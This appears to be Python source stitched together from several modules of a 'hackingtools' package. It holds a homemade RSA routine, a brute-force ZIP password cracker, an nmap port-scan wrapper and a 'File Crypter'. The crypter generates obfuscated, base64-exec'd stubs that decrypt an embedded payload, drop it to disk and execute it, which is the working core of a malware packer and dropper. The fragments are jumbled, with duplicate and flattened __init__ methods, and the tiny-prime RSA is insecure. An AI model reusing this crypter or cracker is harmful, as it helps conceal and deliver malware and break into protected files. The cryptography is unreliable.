def encrypt(self, private_key, plaintext):
try:
Logger.printMessage(
message='{methodName}'.format(methodName='encrypt'),
description='{private_key} - {msg}'.format(
private_key=private_key, msg=plaintext[0:10]),
debug_module=True)
#Unpack the key into it's components
key, n = private_key
ba64 = base64.b64encode(plaintext)
ashex = Utils.asciiToHex(ba64)
hexba64 = Utils.hexToBase64(ashex)
ba64un = Utils.joinBase64(hexba64)
decasc = Utils.decimalToAscii(ba64un)
mensaje = Utils.textToAscii(decasc)
Logger.printMessage(
message='{methodName}'.format(methodName='encrypt'),
description='{msg} - Length: {l}'.format(msg=mensaje[0:10],
l=len(mensaje)),
debug_module=True)
mensaje1 = [(ord(chr(char))**key) % n for char in mensaje]
mensajeHex = Utils.asciiToHex(mensaje1)
mensajeBase64 = Utils.hexToBase64(mensajeHex)
mensajeFinalBase64 = Utils.joinBase64(mensajeBase64)
return mensajeFinalBase64.decode("utf-8")
except Exception as e:
Logger.printMessage(
message='{methodName}'.format(methodName='encrypt'),
description='{msg}'.format(msg=e))
return
def crackZip(self,
zipPathName,
unzipper=None,
alphabet='lalpha',
password_length=4,
password_pattern=None,
log=False):
#max_length_posibilities = int(config['max_for_chunk'])
if not unzipper:
unzipper = ht.getModule('ht_unzip')
if log:
Logger.setDebugCore(True)
for text in [
Utils.getCombinationPosibilitiesByPattern(
try_pattern=password_pattern) if password_pattern else
Utils.getDict(length=password_length, alphabet=alphabet)
]:
# if len(texts) > max_length_posibilities:
# texts_list = numpy.array_split(texts, max_length_posibilities)
# else:
# texts_list = [texts]
# for index_t_list, t_list in enumerate(texts_list):
# if len(t_list) > max_length_posibilities:
# Logger.printMessage(message='crackZip', description='Chunk {n} - {word}'.format(n=index_t_list, word=t_list[1]))
# for text in t_list:
if os.path.isfile(zipPathName):
password = unzipper.extractFilePassword(
zipPathName, text) #, posible_combinations=len(texts))
else:
Logger.printMessage(
message='crackZip',
description='File doesnt exists {a}'.format(a=zipPathName),
is_error=True)
break
if password:
Logger.printMessage(
message='crackZip',
description='{msg_password_is} {a}'.format(
msg_password_is=config['msg_password_is'], a=password),
debug_module=True)
if log:
Logger.setDebugCore(False)
return password
Logger.setDebugCore(False)
return None
def getRandomKeypair(self, length=8):
Logger.printMessage(
message='{methodName}'.format(methodName='getRandomKeypair'),
debug_module=True)
prime_a = ''
prime_b = ''
while prime_a == prime_b:
while prime_a == '' or prime_a == prime_b:
prime_a = Utils.getRandomPrimeByLength(length)
while prime_b == '' or prime_a == prime_b:
prime_b = Utils.getRandomPrimeByLength(length)
if prime_a > prime_b:
temp = prime_b
prime_b = prime_a
prime_a = temp
Logger.printMessage(message='getRandomKeypair',
description=(prime_a, prime_b),
debug_module=True)
return (prime_a, prime_b)
def getDevicePorts(self, ip, tcp=True, udp=False):
Logger.printMessage(
message='{methodName}'.format(methodName='getDevicePorts'),
description='{param} - TCP {tcp} - UDP {udp}'.format(param=ip,
tcp=tcp,
udp=udp),
debug_module=True)
nm = nmap.PortScanner()
results = nm.scan(ip)
try:
if tcp and not udp:
return Utils.getValidDictNoEmptyKeys(
results["scan"][ip]["tcp"])
if udp and not tcp:
return Utils.getValidDictNoEmptyKeys(
results["scan"][ip]["udp"])
if tcp and udp:
return Utils.getValidDictNoEmptyKeys(
[results["scan"][ip]["tcp"], results["scan"][ip]["udp"]])
return Utils.getValidDictNoEmptyKeys(results["scan"][ip]["tcp"])
except:
return []
def generate_keypair(self, prime_a, prime_b):
if not (Utils.isPrime(int(prime_a)) and Utils.isPrime(int(prime_b))):
Logger.printMessage(
message='{methodName}'.format(methodName='generate_keypair'),
description=config['bad_identical_prime'],
debug_module=True,
is_error=True)
return config['bad_identical_prime']
elif prime_a == prime_b:
Logger.printMessage(
message='{methodName}'.format(methodName='generate_keypair'),
description=config['p_q_equal_error'],
debug_module=True,
is_error=True)
return config['p_q_equal_error']
else:
#n = pq
n = prime_a * prime_b
#Phi is the totient of n
phi = (prime_a - 1) * (prime_b - 1)
#Choose an integer e such that e and phi(n) are coprime
e = random.randrange(1, phi)
#Use Euclid's Algorithm to verify that e and phi(n) are comprime
g = Utils.euclides(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = Utils.euclides(e, phi)
#Use Extended Euclid's Algorithm to generate the private key
d = Utils.multiplicativeInverse(e, phi)
#Return public and private keypair
#Public key is (e, n) and private key is (d, n)
return ((e, n), (d, n))
def decrypt(self, public_key, ciphertext):
Logger.printMessage(
message='{methodName}'.format(methodName='decrypt'),
description='{public_key}'.format(public_key=public_key),
debug_module=True)
#Unpack the key into its components
key, n = public_key
menRec = Utils.asciiToBase64(ciphertext.encode('utf-8'))
menHex = Utils.base64ToHex(menRec)
menDec = Utils.hexToDecimal(menHex)
Logger.printMessage(
message='{methodName}'.format(methodName='decrypt'),
description='{msg}'.format(msg=menDec[0:10]),
debug_module=True)
menDesc = [((char**key) % n) for char in menDec]
menAscii = Utils.decimalToAscii(menDesc)
decasc = Utils.asciiToBase64(''.join(menAscii).encode())
hexba64 = Utils.base64ToHex(decasc)
ashex = Utils.hexToDecimal(hexba64)
deasc = Utils.decimalToAscii(ashex)
ba64 = base64.b64decode(deasc.encode())
return ba64
from hackingtools.core import Logger, Utils, Config
if Utils.amIdjango(__name__):
from .library.core import hackingtools as ht
else:
import hackingtools as ht
import os
import binascii, base64
config = Config.getConfig(parentKey='modules', key='ht_rc4')
output_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), 'output'))
class StartModule():
def __init__(self):
self._main_gui_func_ = ''
self._funcArgFromFunc_ = {
'_functionName_': {
'_functionParamName_': {
'_moduleName_': '_functionName_'
}
}
}
self.state = [None] * 256
self.p = None
self.q = None
def help(self):
Logger.printMessage(message=ht.getFunctionsNamesFromModule('ht_rc4'),
debug_module=True)
def createStub(self,
crypto_data_hex,
public_key,
drop_file_name,
save_name,
is_iterating=False,
is_last=False,
convert=False):
"""
Create's the stub for the crypter and
has some courious params he have to see
Arguments
---------
crypto_data_hex : str
File path that want to crypt
public_key : str
New File name for crypted file when
return's it
drop_file_name : str
New File name for crypted file when
return's it
save_name : str
New File name for crypted file when
return's it
Keyword Arguments:
is_iterating : bool
Compile's the final file if we select
it (default: {False})
is_last : bool
Internal variable for looping on the
crypting (default: {False})
convert : bool
Internal varuable for looping on the
crypting (default: {1})
Returns
-------
str
Crypted file path name / None
"""
stub = ''
if is_last:
stub = "import argparse, math, base64, binascii, random, sys, subprocess, os\nfrom random import randint\n"
stub += "cdx = \"" + crypto_data_hex + "\"\n"
stub += "drpnm = \"" + drop_file_name + "\"\n"
stub += "pk = ({a}, {b})\n".format(a=public_key[0],
b=public_key[1])
stub += """
def dcy(pk, cptx):
k, n = pk
mensajeRecibido = __reBa64__(cptx.encode('utf-8'))
mensajeHexRecibido = __ba64Hex__(mensajeRecibido)
mensajeDecimalRecibido = __hexDec__(mensajeHexRecibido)
mensajeDescifrado = [((c ** k) % n) for c in mensajeDecimalRecibido]
mensaje_de_ascii = __deAS__(mensajeDescifrado)
decasc = __reBa64__(''.join(mensaje_de_ascii).encode())
hexba64 = __ba64Hex__(decasc)
ashex = __hexDec__(hexba64)
deasc = __deAS__(ashex)
ba64 = base64.b64decode(deasc.encode())
return ba64
def __reBa64__(m):
mBa64 = [m[i:i+4] for i in range(0, len(m), 4)]
return mBa64
def __ba64Hex__(m):
mHx = [base64.b64decode(b64) for b64 in m]
return mHx
def __hexDec__(m):
mDec = [int(hexa.decode("UTF-8"), 16) for hexa in m]
return mDec
def __deAS__(m):
m1 = ''.join([chr(d) for d in m])
return m1
def __meAS__(m):
men = [ord(p) for p in m]
return men
dcy_data = dcy(pk=pk, cptx=cdx)
"""
if is_iterating:
stub += "cdx = \"" + crypto_data_hex + "\"\n"
stub += "pk = ({a}, {b})\n".format(a=public_key[0],
b=public_key[1])
stub += "dcy_data = dcy(pk=pk, cptx=cdx)\n"
stub += "exec(dcy_data)"
else:
stub += """
image_extensions = ('jpg', 'jpeg', 'bpm', 'ico', 'png')
exec_extensions = ('bat', 'exe', 'vbs', 'ps1')
python_extensions = ('py')
nf = open(drpnm, 'wb')
try:
nf.write(dcy_data)
except:
pass
nf.close()
if os.path.exists(drpnm):
if drpnm.split('.')[1] in image_extensions:
imageViewerFromCommandLine = {'linux':'xdg-open', 'win32':'explorer', 'darwin':'open'}[sys.platform]
subprocess.run([imageViewerFromCommandLine, drpnm], close_fds=True)
if drpnm.split('.')[1] in exec_extensions and sys.platform == 'win32':
os.system(drpnm)
if drpnm.split('.')[1] in python_extensions:
exec(dcy_data)
#proc = subprocess.Popen('python {fn}'.format(fn=drpnm), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
"""
stub_base64 = base64.b64encode(stub.encode('utf-8'))
stub = "import base64\n"
stub += "data = {st_ba64}\n".format(st_ba64=stub_base64)
stub += "exec(base64.b64decode(data))"
Utils.saveToFile(content=stub, fileName=save_name)
if convert:
self.convertToExe(save_name)
def __init__(self):
Utils.emptyDirectory(output_dir)
self._main_gui_func_ = 'crypt_file'
def crypt_file(self,
filename,
new_file_name,
drop_file_name='dropped.py',
prime_length=4,
compile_exe=False,
is_iterating=False,
iterate_count=1,
is_last=False):
"""Crypt's a file when some params we have to use
Arguments
---------
filename : str
File path that want to crypt
new_file_name : str
New File name for crypted file
when return's it
Keyword Arguments
-----------------
drop_file_name : str
Drop a new file on execute the
cryted file (default: {'dropped.py'})
prime_length : int
Set a prime length for auto-generating
the primes for the cryptography
(default: {4})
compile_exe : bool
Compile's the final file if
we select it (default: {False})
is_iterating : bool
Internal variable for looping
on the crypting (default: {False})
iterate_count : int
Internal variable for looping
on the crypting (default: {1})
is_last : bool
Internal variable for looping
on the crypting (default: {False})
Returns
-------
str
Crypted file path name / None
"""
Logger.printMessage(
message='{methodName}'.format(methodName='crypt_file'),
description='{filename}'.format(filename=filename),
debug_module=True)
temp_filename = filename
if iterate_count > 1:
temp_filename = filename
for i in range(1, iterate_count):
if i == iterate_count - 1:
is_last = True
temp_filename = self.crypt_file(filename=temp_filename,
new_file_name=new_file_name,
drop_file_name=drop_file_name,
compile_exe=False,
is_iterating=True,
iterate_count=1,
is_last=is_last)
filename = temp_filename
if filename and new_file_name:
crypter_rsa = ht.getModule('ht_rsa')
data = Utils.getFileContentInByteArray(filePath=filename)
prime_a, prime_b = crypter_rsa.getRandomKeypair(prime_length)
public, private = crypter_rsa.generate_keypair(prime_a, prime_b)
crypted_data = crypter_rsa.encrypt(private_key=private,
plaintext=data)
new_file = new_file_name
if not '.' in new_file:
new_file = '{file}.py'.format(file=new_file)
if compile_exe:
self.createStub(crypto_data_hex=crypted_data,
public_key=public,
drop_file_name=drop_file_name,
save_name=new_file,
is_iterating=is_iterating,
is_last=is_last,
convert=True)
new_file = '{file}.exe'.format(file=new_file.split('.')[0])
else:
self.createStub(crypto_data_hex=crypted_data,
public_key=public,
drop_file_name=drop_file_name,
save_name=new_file,
is_iterating=is_iterating,
is_last=is_last)
return new_file
else:
return None
def __init__(self): Utils.emptyDirectory(output_dir) self._main_gui_func_ = 'extractFilePassword'
def __init__(self):
Utils.emptyDirectory(output_dir)
self._main_gui_func_ = 'crypt_file'
self.__gui_label__ = 'File Crypter'
def __init__(self):
Utils.emptyDirectory(output_dir)
self._main_gui_func_ = 'crackZip'
self.__gui_label__ = 'File Cracker by Bruteforce'
